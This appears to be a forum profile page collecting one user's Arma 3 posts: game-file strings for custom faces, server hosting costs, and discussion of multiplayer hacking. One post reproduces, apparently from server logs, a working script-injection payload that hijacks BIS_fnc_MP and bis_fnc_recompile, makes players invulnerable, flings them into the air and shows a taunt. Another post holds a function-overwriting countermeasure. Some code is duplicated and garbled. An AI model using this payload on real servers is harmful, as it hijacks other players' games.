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Aciidiux

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About Aciidiux

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  1. Aciidiux

    Custom Face

    .rdata:013390B4 aFace_jpg db 'face.jpg',0 .rdata:013390BD align 10h .rdata:013390C0 aFace_paa db 'face.paa',0 .rdata:013390C9 align 4 .rdata:013390CC aPlayers db '\players\',0 .rdata:013390D6 align 4 .rdata:013390D8 db '$',0 .rdata:013390DA align 4 .rdata:013390DC a_ db '*.*',0 .rdata:013390E0 aSound db '\sound\',0 .rdata:013390E8 dd offset unk_14E22E4 I'd suggest you to try face.jpg in \players\ If that fails convert it to paa. Edit: Can't find any references to face.jpg/face.paa, being loaded in-game. I'd say it's not in the game code at the moment.
  2. ... Cloud computing and game hosting don't mach up vladdy. VPS's would work , but they cost ratio's are still insane. Windows Azure http://www.windowsazure.com/en-us/pricing/calculator/?scenario=virtual-machines Large VM (4 x 1.6GHz CPU, 7GB RAM) 730 Hours == $230.40 Why would you even consider it, just plain cokoos. If you are in it for the "Free Tier", I think your going to have a bad time. Your choices really are a) host it yourself b) dedicated server / co-location c) game hosting company / price per slot. Hetzner Online Ag provides Dedicated servers for ~50 euros with twice the capacity. Not going to link because I don't want to get an infraction. Google them up (I'm in no way affiliated with the company).
  3. We we're running this, with no luck. bis_fnc_recompile = {}; bis_fnc_recompile = dummyFunction; publicVariable "bis_fnc_recompile"; "bis_fnc_recompile" addPublicVariableEventHandler {}; bis_fnc_recompile=x; BIS_fnc_MPexec = {}; BIS_fnc_MPexec = dummyFunction; publicVariable "BIS_fnc_MPexec"; "BIS_fnc_MPexec" addPublicVariableEventHandler {}; BIS_fnc_MPexec=x; BIS_fnc_MP = {}; BIS_fnc_MP = dummyFunction; publicVariable "BIS_fnc_MP"; "BIS_fnc_MP" addPublicVariableEventHandler {}; BIS_fnc_MP=x; BIS_fnc_MP_packet = {}; BIS_fnc_MP_packet = dummyFunction; publicVariable "BIS_fnc_MP_packet"; "BIS_fnc_MP_packet" addPublicVariableEventHandler {}; BIS_fnc_MP_packet=x; BIS_fnc_param = {}; BIS_fnc_param = dummyFunction; publicVariable "BIS_fnc_param"; "BIS_fnc_param" addPublicVariableEventHandler {}; BIS_fnc_param=x; _hitter = {}; _hitter = dummyFunction; publicVariable "_hitter"; "_hitter" addPublicVariableEventHandler {}; _hitter=x; _recomp = {}; _recomp = dummyFunction; publicVariable "_recomp"; "_recomp" addPublicVariableEventHandler {}; _recomp=x; BIS_fnc_playerName = {}; BIS_fnc_playerName = dummyFunction; publicVariable "BIS_fnc_playerName"; "BIS_fnc_playerName" addPublicVariableEventHandler {}; BIS_fnc_playerName=x; hitter = {}; hitter = dummyFunction; publicVariable "hitter"; "hitter" addPublicVariableEventHandler {}; hitter=x; BIS_ = {}; BIS_ = dummyFunction; publicVariable "BIS_"; "BIS_" addPublicVariableEventHandler {}; BIS_=x; _layer = {}; _layer = dummyFunction; publicVariable "_layer"; "_layer" addPublicVariableEventHandler {}; _layer=x; _ltxt = {}; _ltxt = dummyFunction; publicVariable "_ltxt"; "_ltxt" addPublicVariableEventHandler {}; _ltxt=x; [] spawn { while {true} do { bis_fnc_recompile = {}; bis_fnc_recompile = dummyFunction; publicVariable "bis_fnc_recompile"; "bis_fnc_recompile" addPublicVariableEventHandler {}; bis_fnc_recompile=x; BIS_fnc_MPexec = {}; BIS_fnc_MPexec = dummyFunction; publicVariable "BIS_fnc_MPexec"; "BIS_fnc_MPexec" addPublicVariableEventHandler {}; BIS_fnc_MPexec=x; BIS_fnc_MP = {}; BIS_fnc_MP = dummyFunction; publicVariable "BIS_fnc_MP"; "BIS_fnc_MP" addPublicVariableEventHandler {}; BIS_fnc_MP=x; BIS_fnc_MP_packet = {}; BIS_fnc_MP_packet = dummyFunction; publicVariable "BIS_fnc_MP_packet"; "BIS_fnc_MP_packet" addPublicVariableEventHandler {}; BIS_fnc_MP_packet=x; BIS_fnc_param = {}; BIS_fnc_param = dummyFunction; publicVariable "BIS_fnc_param"; "BIS_fnc_param" addPublicVariableEventHandler {}; BIS_fnc_param=x; _hitter = {}; _hitter = dummyFunction; publicVariable "_hitter"; "_hitter" addPublicVariableEventHandler {}; _hitter=x; _recomp = {}; _recomp = dummyFunction; publicVariable "_recomp"; "_recomp" addPublicVariableEventHandler {}; _recomp=x; BIS_fnc_playerName = {}; BIS_fnc_playerName = dummyFunction; publicVariable "BIS_fnc_playerName"; "BIS_fnc_playerName" addPublicVariableEventHandler {}; BIS_fnc_playerName=x; hitter = {}; hitter = dummyFunction; publicVariable "hitter"; "hitter" addPublicVariableEventHandler {}; hitter=x; BIS_ = {}; BIS_ = dummyFunction; publicVariable "BIS_"; "BIS_" addPublicVariableEventHandler {}; BIS_=x; _layer = {}; _layer = dummyFunction; publicVariable "_layer"; "_layer" addPublicVariableEventHandler {}; _layer=x; _ltxt = {}; _ltxt = dummyFunction; publicVariable "_ltxt"; "_ltxt" addPublicVariableEventHandler {}; _ltxt=x; }; };
  4. We have a ton of logs of guys who are using these kind of names. Also tons of guys who are running modified .sqf's.....
  5. I would like to add that Cyrillic characters on your player name wont be shown on logs or in the game if you are running ISO-5899-1..... So if you change your profile name on ARMA 3 to КЛМÐѮѺП , it will show as blank on server logs and on game. Cheers
  6. with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; player setvehicleinit " with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; "; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; �; }; if !(ismultiplayer) then { ["BIS_fnc_MP_packet",BIS_ [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt]; [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt];
  7. Theres a bunch of servers running full which have anti-hack, why not just play on those instead of running your own servers if its so hard.
  8. I think I agree and the guy proves a point that the exploits have gone unnoticed for too long and he wants a response from BI that they remove or restrict the use of the functions... I don't mind about this, guys working for the money the game is selling.. Maybe they would do a hotfix if they would care to think about a solution which would benefit all the parties, developers and players a like. If u banish them many missions types will stop working , but if you restrict them you need to write new specifications for the functions to the core and such...
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